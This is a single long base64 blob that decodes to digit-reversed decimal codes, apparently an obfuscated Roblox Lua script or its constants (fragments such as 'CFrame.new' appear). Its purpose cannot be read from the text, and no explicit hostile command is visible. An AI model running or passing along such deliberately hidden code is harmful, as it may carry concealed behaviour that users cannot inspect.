MDFcMTAxXDg2XDBcMFwwXDExXDdcNDExXDEwMVw4MDFcODAxXDEwMVw5OFwyM1w5MTFcMTAxXDg3XDBcMFwwXDAxXDdcMTAxXDgxMVw1MDFcODAxXDk3XDBcMFwwXDVcN1wwMTFcMTAxXDEwMVw0MTFcMzAxXDIzXDgwMVwxMDFcNjExXDUxMVw3OVwwOFwwXDBcMFwyMVw3XDAxMVwxMDFcMTAxXDQxMVwzMDFcNTRcMTAxXDcxMVw4MDFcODlcMjNcODAxXDEwMVw2MTFcNTExXDc5XDA4XDBcMFwwXDcxXDdcMTAxXDcxMVw4MDFcODlcMjNcNjExXDQwMVwzMDFcNTAxXDgwMVwyM1w4MDFcMTAxXDYxMVw1MTFcNzlcMDhcMFwwXDBcNzFcN1w2MTFcMTAxXDgwMVwxMTFcNTAxXDgxMVwyM1w4MDFcMTAxXDYxMVw1MTFcNzlcMDhcMFwwXDBcMzFcN1w3MDFcMDExXDUwMVwwOFwwXDBcMFw0XDdcMTAxXDMwMVwwMTFcNzlcNDExXDExMVwyM1w4MDFcMTAxXDYxMVw1MTFcNzlcMDhcMFwwXDBcMzFcN1w5MTFcMTExXDgwMVw4MDFcMTAxXDEyMVwyM1w4MDFcMTAxXDYxMVw1MTFcNzlcMDhcMFwwXDBcMzFcN1wwMTFcOTExXDExMVw0MTFcODlcMjNcODAxXDEwMVw2MTFcNTExXDc5XDA4XDBcMFwwXDIxXDdcMDExXDEwMVwxMDFcNDExXDMwMVwyM1w5MDFcNzExXDUwMVwwMDFcMTAxXDc3XDBcMFwwXDIxXDdcODAxXDc5XDEwMVw0OFwwXDBcMFw0XDdcMTAxXDcxMVw4MDFcNjZcMjNcODAxXDEwMVw2MTFcNTExXDc5XDA4XDBcMFwwXDExXDdcNjExXDEwMVw4MDFcMTExXDUwMVw4MTFcMjNcNDAxXDUxMVw1MDFcMDAxXDAwMVwxMDFcNDExXDIzXDYxMVw0MDFcMzAxXDUwMVw2N1wwXDBcMFwwMlw3XDAwMVwxMDFcNDExXDIzXDkwMVw3MTFcNTAxXDAwMVwxMDFcNzdcMFwwXDBcMDFcN1wxMDFcMzAxXDAxMVw3OVw0MTFcMTExXDIzXDAxMVwxMTFcMTAxXDg3XDBcMFwwXDExXDdcOTExXDExMVw4MDFcODAxXDEwMVwxMjFcMjNcODAxXDExMVwxMTFcNzZcMFwwXDBcMTFcN1w5MTFcMTExXDgwMVw4MDFcMTAxXDEyMVwyM1w3MDFcOTlcNTAxXDQxMVw2NlwwXDBcMFwyMVw3XDAxMVwxMDFcMTAxXDQxMVwzMDFcMjNcMDAxXDAxMVw3OVwzOFwwXDBcMFwwMVw3XDEwMVw3MTFcODAxXDg5XDIzXDkwMVw3MTFcNTAxXDAwMVwxMDFcNzdcMFwwXDBcMTFcN1wxMDFcNzExXDgwMVw4OVwyM1wwMDFcMDExXDc5XDM4XDBcMFwwXDlcN1w0MTFcMTAxXDAwMVwwMTFcMTAxXDgxMVw3OVw2N1wwXDBcMFw4XDdcMDAxXDEwMVw0MTFcMjNcMDAxXDAxMVw3OVwzOFwwXDBcMFw4XDdcMTAxXDMwMVwwMTFcNzlcNDExXDExMVwyM1w2MTFcNDAxXDMwMVw1MDFcNjdcMFwwXDBcMjFcN1wxMDFcMzAxXDAxMVw3OVw0MTFcMTExXDIzXDQwMVw1MTFcNTAxXDkxMVwxMTFcODAxXDgwMVwxMDFcMTIxXDIzXDY0XDQxMVw2NlwwXDBcMFwwMlw3XDEwMVw5MDFcNTAxXDQxMVwxN1wwXDBcMFw1XDdcNzAxXDk5XDc5XDgwMVw4OVwyM1wxMjFcODAxXDgwMVw3OVwxMDFcMjhcMFwwXDBcMjFcN1w3MDFcOTlcNzlcODAxXDY2XDBcMFwwXDVcN1wxMjFcMTAxXDQxMVwzMDFcMjNcMTAxXDAxMVwxMTFcNjExXDUxMVwyM1w3MDFcNDExXDc5XDg2XDBcMFwwXDUxXDdcMTIxXDEwMVw0MTFcMzAxXDIzXDEwMVwwMTFcMTExXDYxMVw1MTFcMjNcOTAxXDcxMVw1MDFcMDAxXDEwMVw3N1wwXDBcMFw3MVw3XDEyMVwxMDFcNDExXDMwMVwyM1wxMDFcMDExXDExMVw2MTFcNTExXDIzXDYxMVw0MDFcMzAxXDUwMVw2N1wwXDBcMFw2MVw3XDEwMVw2MTFcNTAxXDQwMVw3OFwwXDBcMFw1XDdcMTAxXDYxMVw1MDFcNDAxXDkxMVwyM1w4MDFcNzlcMDExXDExMVw1MDFcNjExXDcxMVw2MTFcNTAxXDYxMVw1MTFcMDExXDM3XDBcMFwwXDkxXDdcMDExXDEwMVwxMDFcNDExXDMwMVwyM1w2MTFcNDAxXDMwMVw1MDFcNDExXDY2XDBcMFwwXDIxXDdcMDExXDEwMVwxMDFcNDExXDMwMVwyM1w0MDFcNTExXDUwMVw3MTFcODAxXDg5XDIzXDYxMVw0MDFcMzAxXDUwMVw0MTFcNjZcMFwwXDBcOTFcN1wxMDFcNzExXDgwMVw4OVwyM1w2MTFcNDAxXDMwMVw1MDFcNDExXDY2XDBcMFwwXDExXDdcNjExXDEwMVw4MDFcMTExXDUwMVw4MTFcMjNcNjExXDQwMVwzMDFcNTAxXDQxMVw2NlwwXDBcMFwzMVw3XDAwMVwxMDFcNDExXDIzXDYxMVw0MDFcMzAxXDUwMVw0MTFcNjZcMFwwXDBcMDFcN1wxMDFcMzAxXDAxMVw3OVw0MTFcMTExXDIzXDYxMVw0MDFcMzAxXDUwMVw0MTFcNjZcMFwwXDBcMzFcN1w5MTFcMTExXDgwMVw4MDFcMTAxXDEyMVwyM1w2MTFcNDAxXDMwMVw1MDFcNDExXDY2XDBcMFwwXDMxXDdcMDExXDEwMVwxMDFcNDExXDMwMVwyM1w0MDFcNTExXDUwMVw5MTFcMTExXDgwMVw4MDFcMTAxXDEyMVwyM1w2NFw0MTFcNjZcMFwwXDBcOTFcN1wxMjFcNzlcNDExXDMwMVwyM1wwMDFcNTAxXDc3XDBcMFwwXDhcN1w0MTFcMTExXDgwMVwxMTFcNzZcMjNcNjExXDEwMVwzOFwwXDBcMFw5XDdcMzNcNTExXDMwMVwwMTFcNTAxXDYxMVw2MTFcMTAxXDUxMVwyM1wxMDFcMzAxXDAxMVw3OVw0MDFcOTlcMjNcMTExXDYxMVwyM1wxMDFcOTAxXDIzXDcwMVw5OVw1MDFcODAxXDc2XDBcMFwwXDgyXDdcNjRcMTIxXDQxMVwxMTFcMTAxXDQwMVw0OFw1OVw1MTFcNzExXDcwMVw0MTFcNzlcODZcMjNcMTIxXDg5XDIzXDAwMVwxMDFcNjExXDc5XDEwMVw0MTFcNzZcMFwwXDBcNTJcN1wwMTFcMTExXDUwMVw2MTFcNzlcNDExXDYxMVw1MTFcNTAxXDAxMVw1MDFcOTAxXDAwMVw1NlwyM1wxMDFcMDAxXDUwMVwzOFw1NFw0MTFcMTAxXDgxMVw0MTFcMTAxXDM4XDIzXDAxMVwxMTFcNTAxXDYxMVw3MTFcODAxXDExMVw1MTFcODlcNTZcMFwwXDBcNzNcN1wzM1w1MTFcMDAxXDAxMVw3OVw5MDFcOTAxXDExMVw5OVwyM1wxMDFcMTAxXDUxMVwyM1wxMTFcNjExXDIzXDEwMVw5MDFcMjNcNzAxXDk5XDUwMVw4MDFcNzZcMFwwXDBcNTJcN1w3NFw1MTFcNjExXDc5XDYxMVw1MTFcMFwwXDBcNlw3XDMzXDUxMVw5OVw1MDFcNjExXDUxMVw1MDFcNjExXDc5XDYxMVwzOFwyM1w0MTFcMTAxXDgxMVw0MTFcMTAxXDM4XDIzXDEwMVwxMDFcNTExXDIzXDExMVw2MTFcMjNcMTAxXDkwMVwyM1w3MDFcOTlcNTAxXDgwMVw3NlwwXDBcMFw0M1w3XDdcODFcMDAxXDEwMVw0MTFcMjNcMTIxXDgwMVw4MDFcNzlcMTAxXDI4XDBcMFwwXDAxXDdcMjNcMTAxXDUxMVw3MTFcMjNcNjExXDExMVwwMTFcMDExXDc5XDk5XDIzXDUxMVwwXDBcMFwzMVw3XDMzXDBcMFwwXDFcN1wyM1w0MTFcMTAxXDEyMVw3OVw4MDFcMjExXDIzXDkwMVwxMTFcNDExXDIwMVwyM1wwMDFcMTAxXDYxMVw5OVwxMDFcNjExXDEwMVwwMDFcMjNcMTRcMFwwXDBcMzJcN1wwNFwyM1wwMDFcNDExXDExMVw5MTFcMjNcNDExXDEwMVwzMDFcMzAxXDUwMVw0MTFcNDhcMFwwXDBcNDFcN1w2XDgxXDMzXDMwMVwwMTFcNTAxXDg2XDBcMFwwXDVcN1wwMTFcOTdcODAxXDc5XDAxMVw1MDFcOTAxXDQxMVwxMDFcNDhcMFwwXDBcMDFcN1wyM1w4NVwxMDFcMzAxXDc5XDUxMVw1MTFcMTAxXDc3XDBcMFwwXDlcN1wyM1wxMjFcODlcMjNcMDAxXDEwMVwzMDFcMDExXDUwMVwyMTFcMjNcMTAxXDQxMVwxMDFcOTExXDIzXDcxMVwxMTFcOThcMFwwXDBcOTFcN1w0XDgxXDIzXDEwMVw3NFwwXDBcMFwzXDdcNzRcMFwwXDBcMVw3XDYxMVwxMDFcNjZcMFwwXDBcM1w3XDYxMVwxMDFcMzAxXDE2XDEwMVwwMDFcMTExXDkwMVwzNlwwXDBcMFw5XDdcNjExXDUxMVwxMTFcMjExXDE2XDEwMVwwMDFcMTExXDkwMVwzNlwwXDBcMFwwMVw3XDgzXDBcMFwwXDFcN1wxNlwwXDBcMFwxXDdcNTExXDBcMFwwXDFcN1w4NVwwMTFcNTAxXDkwMVwwXDBcMFw0XDdcODVcNDExXDQwMVwwXDBcMFwzXDdcODVcMDAxXDBcMFwwXDJcN1w4NVw5MTFcMFwwXDBcMlw3XDg1XDkwMVwwXDBcMFwyXDdcODVcMTIxXDBcMFwwXDJcN1w4NFwwXDBcMFwxXDdcMFwwXDBcMFw3XDA2XDgxXDQxXDYxXDNcMFwxXDE4XDgyMVw0XDBcOVw4NVw4MjFcNFwwXDkzXDE0MVwwXDRcMVw1MjJcNTMxXDQyMlw0XDBcMDQxXDNcNzZcMDdcMFwwXDBcMFwwXDBcNlw5MDFcMTExXDYxMVw1MTFcNzExXDc2XDBcMFwwXDZcN1w2MTFcNDExXDc5XDA4XDBcMFwwXDRcN1wwN1w4MVwwOVw4MVwwMlw4MVwxXDQ4XDNcODAxXDEwMVwwMDFcMTExXDc3XDBcMFwwXDVcN1wwMDFcODAxXDEwMVw3OFwwXDBcMFw0XDdcNjExXDQxMVw3OVwwOFwxMDFcNTExXDc5XDY2XDBcMFwwXDhcN1wwMlwxNFwwMDFcMDExXDEwMVwwMVwzMVwxNFwwMDFcMDExXDEwMVwwMVwzMVwwMDFcMDExXDEwMVwwMVwzMVwwMDFcMDExXDEwMVwwMVwzMVwwMDFcMDExXDEwMVwwMVwzMVwxNFwwMDFcMDExXDEwMVwwMVwzMVwwMDFcMDExXDEwMVwwMVwzMVwxNFw1MDFcNTlcMjNcNDRcODAxXDUwMVw3OVw0MTFcNDhcODlcNDExXDk3XDA0XDEwMVw4MTFcMTExXDkwMVwxMDFcNDExXDY0XDEwMVw4MDFcODlcNzlcNjExXDAxXDMxXDE0XDA0XDEyMVwxMTFcNDExXDYxMVw1MTFcMTAxXDg2XDg1XDk0XDA4XDAxXDMxXDAxMVwxMDFcNDAxXDYxMVwyM1w5NFwyM1wxNlwyNlwyM1w4OFw2NFwxMDFcMjIxXDUwMVwzOFw2NFw5NFwwOFwyM1wyMDFcNTAxXDAxXDMxXDE0XDg0XDQ0XDA1XDQ0XDA1XDc0XDUwMVwyMTFcNjRcNDAxXDYxMVw3OVw5MDFcMDRcNTExXDEwMVw4MDFcMzAxXDAxMVw1Nlw2NFwxMDFcOTAxXDc5XDQxMVwwN1w3NlwyNFwxNFwyMTFcNjRcMTAxXDkwMVw3OVw0MTFcMDdcNzZcNjRcMDVcMDhcNDRcMjExXDY0XDEwMVw5MDFcNzlcNDExXDA3XDc2XDY0XDk0XDA4XDA0XDkxMVwxMDFcMDExXDY0XDEwMVw5MDFcNzlcNDExXDA3XDc2XDIzXDE2XDIzXDEwMVw5MDFcNzlcNDExXDA3XDc2XDY0XDk0XDA4XDAxXDMxXDk0XDg0XDY0XDIzXDM0XDIzXDEyMVw5OVwwMTFcMTAxXDQxMVw3OVwyMTFcNTExXDAxMVw3OVw0MTFcNDhcNjRcOTRcMDhcMjNcMTZcMjNcMTIxXDk5XDAxMVwxMDFcNDExXDc5XDIxMVw1MTFcMDExXDc5XDQxMVw0OFw2NFw5NFwwOFwwMVwzMVwxNFwzNVw2NFwyNFw4OFw2NFwxMDFcMjIxXDUwMVwzOFw2NFw5NFwwOFw0NFwzNVw2NFwyNFw4OFw2NFwxMDFcMjIxXDUwMVwzOFw2NFw5NFwwOFw0NFwzNVw2NFwyNFw4OFw2NFwxMDFcMjIxXDUwMVwzOFw2NFw5NFwwOFwwNFw5MTFcMTAxXDAxMVw2NFwxNVw0MTFcMTExXDgwMVwxMTFcNzZcMjNcMTZcMjNcNDExXDExMVw4MDFcMTExXDc2XDY0XDk0XDA4XDAxXDMxXDE0XDk0XDg0XDY0XDM0XDA5XDY0XDEwMVwyMjFcNTAxXDM4XDY0XDk0XDA4XDIzXDQ0XDE0XDA1XDA4XDIzXDQ0XDk0XDA4XDA0XDMwMVw3OVw5MDFcNTlcNjExXDEwMVwxN1wyM1w0NFw5NFw4NFw2NFwzNFw4OFw2NFwxMDFcMjIxXDUwMVwzOFw2NFw5NFwwOFwwNFw5MTFcMTAxXDAxMVw2NFwxNVw0MTFcMTExXDYxMVw5OVwxMDFcNjhcMjNcMTZcMjNcMTAxXDIyMVw1MDFcMzhcNjRcOTRcMDhcMDFcMzFcMTRcMDRcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDA0XDEwMVw5OVwwMTFcNzlcNjExXDUxMVwwMTFcMzdcODVcMTAxXDgwMVw4OVw3OVw0OFwwMDFcNzlcMTAxXDQxMVw0MDFcNDhcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDA1XDA4XDIzXDAwMVwwMTFcNzlcMjNcOTRcMDhcMjNcMjAxXDUwMVwwMVwzMVwzOVw5NFwzNFw1MDFcNTlcMTlcODAxXDUwMVw3OVw0MTFcNDhcODlcNDExXDk3XDIzXDE2XDIzXDA1XDA4XDIzXDgwMVw3OVw5OVwxMTFcODAxXDAxXDMxXDM5XDUwMVw1OVwxOVw4MDFcNTAxXDc5XDQxMVw0OFw4OVw0MTFcOTdcMjNcMTZcMjNcOTRcMDhcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcMTExXDAwMVwyM1w4MDFcNTAxXDc5XDQxMVw0OFw4OVw0MTFcOTdcNDRcNjExXDAyMVwxMDFcMDExXDIzXDAxMVw1MDFcMjNcODExXDQ0XDUwMVw1OVwyM1w0MTFcMTExXDIwMVwwMVwzMVwxNFw4MDFcNTAxXDc5XDQxMVw0OFwwMDFcMDAxXDU2XDA0XDEwMVw5OVwwMTFcNzlcNjExXDUxMVwwMTFcMzdcODVcMTAxXDgwMVw4OVw3OVw0OFwwMDFcNzlcMTAxXDQxMVw0MDFcNDhcMDFcMzFcMTRcNDVcODRcNjRcMjNcNDRcMDFcMzFcMTRcODRcNDRcODRcNDRcOTRcOTRcMDRcOTExXDEwMVwwMTFcNjRcMTAxXDkwMVw3OVw0MTFcMDdcNzZcMjRcMDFcMzFcMTRcMTVcOTRcMzRcMTRcMjVcNjRcMDVcNzRcMTRcNDVcNjRcOTRcMjRcMTRcMzVcNjRcNzRcMTRcMDRcNzAxXDk5XDUwMVw2MTFcMDRcMDRcMDExXDUwMVw1MTFcNjRcNDAxXDYxMVw3OVw5MDFcMDRcNDRcOTRcNjExXDExMVwyOFw0NFw4NFw2NVw5NFwwNFw1MTFcMTAxXDgwMVwzMDFcMDExXDU2XDY0XDEwMVw5MDFcNzlcNDExXDA3XDc2XDI0XDAxXDMxXDE0XDk0XDIzXDIzXDIzXDIzXDQ0XDY1XDY0XDM1XDQ0XDY1XDY0XDU0XDA0XDkxMVwxMDFcMDExXDY0XDEwMVw5MDFcNzlcNDExXDA3XDc2XDI0XDAxXDMxXDE0XDIxMVw2NFwxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2MTFcNTExXDc5XDgwMVw1OVwwNFw5MTFcMTAxXDAxMVw2NFwxMDFcOTAxXDc5XDQxMVwwN1w3NlwwMVwzMVw0NFwxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2NFw4OVw0MTFcOTdcMDRcMjExXDQxMVwxMDFcNjdcNzZcMjNcMTZcMjNcMTAxXDkwMVw3OVw0MTFcMDdcNzZcNjRcODlcNDExXDk3XDAxXDMxXDA1XDYxMVwxMTFcMjhcMjNcMzRcMjNcOTRcNjExXDExMVwyOFwyM1wxNlwyM1w5NFw2MTFcMTExXDI4XDAxXDMxXDE0XDA0XDEwMVw5MDFcNzlcNDExXDA3XDc2XDU5XDYxMVwxMDFcMTdcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDIzXDE2XDYyMVwyM1w4OVw0MTFcOTdcMjNcMjAxXDUwMVwwMVwzMVwwMDFcMDExXDEwMVwwMVwzMVw5NVwxNFwwNFwxNFwwNFwzMDFcMDExXDUwMVw0MTFcNjExXDUxMVwwMDFcNzlcMTExXDgwMVw5XDAxXDMxXDAwMVwwMTFcMTAxXDIzXDgwMVw1MDFcMDExXDIzXDE2XDIzXDM5XDUwMVwxOVwxNFwwNFw4MTFcMDExXDEwMVwyMDFcNjExXDEwMVwzMDFcMjNcMTExXDAwMVwyM1wxNFwxNFwwNFw4MTFcMDExXDEwMVwyMDFcNjExXDEwMVwzMDFcMDRcNTExXDQxMVw1MDFcNzlcMjExXDIzXDAxMVw1MDFcMjNcODExXDQ0XDUwMVwyM1w0MTFcMTExXDIwMVw5XDAxXDMxXDIzXDAxMVwxMDFcNDAxXDYxMVwyM1wxNFw5M1w4MDFcODRcODAxXDkzXDA0XDAwMVw4MDFcNTAxXDQwMVw3Nlw2MTFcNTExXDQxMVw1MDFcMDdcMDAxXDAxMVw1MDFcMDdcODVcMTRcOTNcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcNzhcOTNcMDRcMTAxXDk5XDUwMVw4MTFcNDExXDEwMVw1MTFcODVcMTAxXDkwMVw3OVwzMDFcMjNcMjAxXDUwMVwwMVwzMVwxNFwwNFwwMTFcMTExXDUwMVw2MTFcOTlcMDExXDcxMVwyMDFcMDRcMTAxXDk5XDAxMVw3OVw2MTFcNTExXDAxMVwzN1w4NVwxMDFcODAxXDg5XDc5XDQ4XDAwMVw3OVwxMDFcNDExXDQwMVw0OFwwMVwzMVwxNFwwNFwwMTFcMTExXDUwMVw2MTFcOTlcMDExXDcxMVwyMDFcMDRcNjExXDk5XDEwMVwwMTFcMDExXDExMVw5OVw4NVw2MTFcNzlcMTAxXDg5XDYxMVw0MTFcNzlcMTAxXDI3XDY0XDE0XDQzXDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcMDExXDcxMVwyOFw0M1wwNFwxMDFcOTlcNTAxXDgxMVw0MTFcMTAxXDM4XDYxMVwxMDFcMTdcODVcMTAxXDkwMVw3OVwzMDFcMDFcMzFcMTVcODRcNjRcMjNcMTZcMjNcMDVcNjExXDExMVwyOFwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVw5NFwyM1wxNlwyM1w5NFw2MTFcMTExXDI4XDIzXDgwMVw3OVw5OVwxMTFcODAxXDAxXDMxXDAxXDMxXDAwMVwwMTFcMTAxXDAxXDMxXDE0XDE0XDE0XDA1XDA1XDI4XDk0XDIxMVw1NFwwNVwwNVwyOFwwNVwyMTFcMDRcMjRcNjExXDAxMVwxMDFcOTlcNDExXDEwMVwyMTFcMzRcMDVcMDVcMjhcOTRcMjExXDA0XDQ0XDIzXDE0XDE0XDk0XDA1XDI4XDk0XDIxMVw1NFw5NFwwNVwyOFwwNVwyMTFcMDRcMjRcNjExXDAxMVwxMDFcOTlcNDExXDEwMVwyMTFcMzRcOTRcMDVcMjhcOTRcMjExXDA0XDIzXDQ0XDE0XDE0XDg0XDA1XDI4XDk0XDIxMVw1NFw4NFwwNVwyOFwwNVwyMTFcMDRcMjRcNjExXDAxMVwxMDFcOTlcNDExXDEwMVwyMTFcMzRcODRcMDVcMjhcOTRcMjExXDA0XDlcOVwwMVwzMVw0NFwxNFwxNFwwNVw5NFwyOFw5NFwyMTFcNTRcMDVcOTRcMjhcMDVcMjExXDA0XDI0XDYxMVwwMTFcMTAxXDk5XDQxMVwxMDFcMjExXDM0XDA1XDk0XDI4XDk0XDIxMVwwNFwyM1w0NFwyM1wxNFwxNFw5NFw5NFwyOFw5NFwyMTFcNTRcOTRcOTRcMjhcMDVcMjExXDA0XDI0XDYxMVwwMTFcMTAxXDk5XDQxMVwxMDFcMjExXDM0XDk0XDk0XDI4XDk0XDIxMVwwNFwyM1w0NFwxNFwxNFw4NFw5NFwyOFw5NFwyMTFcNTRcODRcOTRcMjhcMDVcMjExXDA0XDI0XDYxMVwwMTFcMTAxXDk5XDQxMVwxMDFcMjExXDM0XDg0XDk0XDI4XDk0XDIxMVwwNFw5XDlcMDFcMzFcNDRcMTRcMTRcMDVcODRcMjhcOTRcMjExXDU0XDA1XDg0XDI4XDA1XDIxMVwwNFwyNFw2MTFcMDExXDEwMVw5OVw0MTFcMTAxXDIxMVwzNFwwNVw4NFwyOFw5NFwyMTFcMDRcNDRcMjNcMTRcMTRcOTRcODRcMjhcOTRcMjExXDU0XDk0XDg0XDI4XDA1XDIxMVwwNFwyNFw2MTFcMDExXDEwMVw5OVw0MTFcMTAxXDIxMVwzNFw5NFw4NFwyOFw5NFwyMTFcMDRcMjNcNDRcMTRcMTRcODRcODRcMjhcOTRcMjExXDU0XDg0XDg0XDI4XDA1XDIxMVwwNFwyNFw2MTFcMDExXDEwMVw5OVw0MTFcMTAxXDIxMVwzNFw4NFw4NFwyOFw5NFwyMTFcMDRcOVw5XDAxXDMxXDQ0XDE0XDIyMVw5NFwyMTFcNTRcMjIxXDA1XDIxMVwwNFwyNFw2MTFcMDExXDEwMVw5OVw0MTFcMTAxXDIxMVwzNFwyMjFcOTRcMjExXDQ0XDIzXDE0XDEyMVw5NFwyMTFcNTRcMTIxXDA1XDIxMVwwNFwyNFw2MTFcMDExXDEwMVw5OVw0MTFcMTAxXDIxMVwzNFwxMjFcOTRcMjExXDIzXDQ0XDE0XDAyMVw5NFwyMTFcNTRcMDIxXDA1XDIxMVwwNFwyNFw2MTFcMDExXDEwMVw5OVw0MTFcMTAxXDIxMVwzNFwwMjFcOTRcMjExXDA0XDkxMVwxMDFcMDExXDY0XDEwMVw5MDFcNzlcNDExXDA3XDc2XDlcOVwwMVwzMVwyM1wwMTFcNDExXDcxMVw2MTFcMTAxXDQxMVw5XDAxXDMxXDE0XDA0XDUxMVw2MTFcMDExXDEwMVwwMTFcMTExXDIxMVw5MDFcMTExXDk5XDg1XDA1XDIxMVwyM1wxNlwyM1wwNVwwNVwyOFwwNVwyMTFcNDRcOTRcMDVcMjhcMDVcMjExXDQ0XDg0XDA1XDI4XDA1XDIxMVw0NFwwNVw5NFwyOFwwNVwyMTFcNDRcOTRcOTRcMjhcMDVcMjExXDQ0XDg0XDk0XDI4XDA1XDIxMVw0NFwwNVw4NFwyOFwwNVwyMTFcNDRcOTRcODRcMjhcMDVcMjExXDQ0XDg0XDg0XDI4XDA1XDIxMVw0NFwyMjFcMDVcMjExXDQ0XDEyMVwwNVwyMTFcNDRcMDIxXDA1XDIxMVwyM1w4MDFcNzlcOTlcMTExXDgwMVw5XDAxXDMxXDE0XDA0XDUxMVw2MTFcMDExXDEwMVwwMTFcMTExXDIxMVw5MDFcMTExXDk5XDg1XDk0XDIxMVwyM1wxNlwyM1wwNVwwNVwyOFw5NFwyMTFcNDRcOTRcMDVcMjhcOTRcMjExXDQ0XDg0XDA1XDI4XDk0XDIxMVw0NFwwNVw5NFwyOFw5NFwyMTFcNDRcOTRcOTRcMjhcOTRcMjExXDQ0XDg0XDk0XDI4XDk0XDIxMVw0NFwwNVw4NFwyOFw5NFwyMTFcNDRcOTRcODRcMjhcOTRcMjExXDQ0XDg0XDg0XDI4XDk0XDIxMVw0NFwyMjFcOTRcMjExXDQ0XDEyMVw5NFwyMTFcNDRcMDIxXDk0XDIxMVwyM1w4MDFcNzlcOTlcMTExXDgwMVw5XDAxXDMxXDE0XDYxMVwwMTFcMTAxXDk5XDQxMVwxMDFcMjExXDQ0XDA1XDIxMVw0NFw5NFwyMTFcMDRcMjExXDQxMVwxMDFcNjdcNzZcMjNcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDIzXDgwMVw3OVw5OVwxMTFcODAxXDAxXDMxXDAxXDMxXDAwMVwwMTFcMTAxXDAxXDMxXDAwMVwwMTFcMTAxXDAxXDMxXDE0XDUxMVwxMTFcMjExXDA0XDkxMVwxMDFcMDExXDY0XDEwMVw5MDFcNzlcNDExXDA3XDc2XDIzXDE2XDIzXDEwMVw5MDFcNzlcNDExXDA3XDc2XDYxMVw1MTFcNzlcODAxXDU5XDAxXDMxXDE0XDA5XDY0XDIxMVw2NFwxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2NFwxMDFcNTExXDc5XDY2XDIzXDQ0XDg0XDk0XDM0XDk4XDY0XDIxMVw2NFwxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2NFwxMDFcNTExXDc5XDY2XDIzXDQ0XDg4XDY0XDIxMVw2NFwxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2NFwxMDFcNTExXDc5XDY2XDA0XDkxMVwxMDFcMDExXDY0XDE1XDQxMVwxMTFcNjExXDk5XDEwMVw2OFwyM1wxNlwyM1w1MTFcMTExXDIxMVwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVwxMDFcNTExXDgwMVwxMDFcMDFcMzFcMDAxXDAxMVwxMDFcMDFcMzFcMTAxXDkwMVw3OVw0MTFcMDdcNzZcNjRcMTExXDUxMVw0MTFcMTExXDQ4XDY0XDM5XDEwMVw5MDFcNzlcODdcNDExXDEwMVwwMTFcOTExXDk3XDY0XDEwMVw0MTFcMTExXDc2XDE5XDE0XDkzXDEwMVw5OVw3OVwyMTFcNTExXDcwMVw0MTFcMTExXDc4XDkzXDA0XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcNjExXDEwMVwxN1w4NVwxMDFcOTAxXDc5XDMwMVwyM1wxNlwyM1wxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2MTFcNTExXDc5XDgwMVw1OVwwMVwzMVwwMTFcMTAxXDQwMVw2MTFcMjNcMTRcNDNcMTExXDUxMVw0MTFcMTExXDQ4XDQzXDA0XDAwMVw4MDFcNTAxXDQwMVw3Nlw2MTFcNTExXDQxMVw1MDFcMDdcMDAxXDAxMVw1MDFcMDdcODVcMzlcMTAxXDkwMVw3OVw4N1w0MTFcMTAxXDAxMVw5MTFcOTdcNjRcMTAxXDQxMVwxMTFcNzZcMTlcMTRcOTNcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcNzhcOTNcMDRcMTAxXDk5XDUwMVw4MTFcNDExXDEwMVwzOFw2MTFcMTAxXDE3XDg1XDEwMVw5MDFcNzlcMzAxXDIzXDIwMVw1MDFcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDE2XDYyMVwxMTFcNTExXDQxMVwxMTFcNjExXDIzXDIwMVw1MDFcMDFcMzFcMTRcMTRcMTAxXDcxMVw0MTFcNjExXDQ0XDEwMVw5MDFcNzlcODdcNDExXDEwMVwwMTFcOTExXDk3XDY0XDEwMVw0MTFcMTExXDc2XDA0XDAwMVw4MDFcNTAxXDQwMVw3Nlw2MTFcNTExXDQxMVw1MDFcMDdcMDAxXDAxMVw1MDFcMDdcODVcMTRcOTNcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcNzhcOTNcMDRcMTAxXDk5XDUwMVw4MTFcNDExXDEwMVwzOFw2MTFcMTAxXDE3XDg1XDEwMVw5MDFcNzlcMzAxXDA0XDIzXDE2XDIzXDExMVw1MTFcNDExXDExMVw2MTFcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcMTRcNDNcMTAxXDUxMVw3OVw2Nlw0M1wwNFwwMDFcODAxXDUwMVw0MDFcNzZcNDExXDExMVwwN1w2MTFcNTAxXDc5XDc4XDg1XDE0XDkzXDEwMVw5OVw3OVwyMTFcNTExXDcwMVw0MTFcMTExXDc4XDkzXDA0XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcNjExXDEwMVwxN1w4NVwxMDFcOTAxXDc5XDMwMVwyM1w0MTFcMTExXDIzXDE0XDEwMVw3MTFcNDExXDYxMVw0NFw0M1wxMDFcNjExXDc5XDgwMVwyMTFcMTAxXDUxMVw3OVw2Nlw0M1wwNFwwMDFcODAxXDUwMVw0MDFcNzZcNjExXDUxMVw0MTFcNTAxXDA3XDAwMVwwMTFcNTAxXDA3XDg1XDE0XDkzXDEwMVw5OVw3OVwyMTFcNTExXDcwMVw0MTFcMTExXDc4XDkzXDA0XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcNjExXDEwMVwxN1w4NVwxMDFcOTAxXDc5XDMwMVwyM1w0MTFcMTExXDIzXDE0XDEwMVw3MTFcNDExXDYxMVw0NFw0M1wxMDFcNTExXDc5XDY2XDQzXDA0XDAwMVw4MDFcNTAxXDQwMVw3Nlw2MTFcNTExXDQxMVw1MDFcMDdcMDAxXDAxMVw1MDFcMDdcODVcMTRcOTN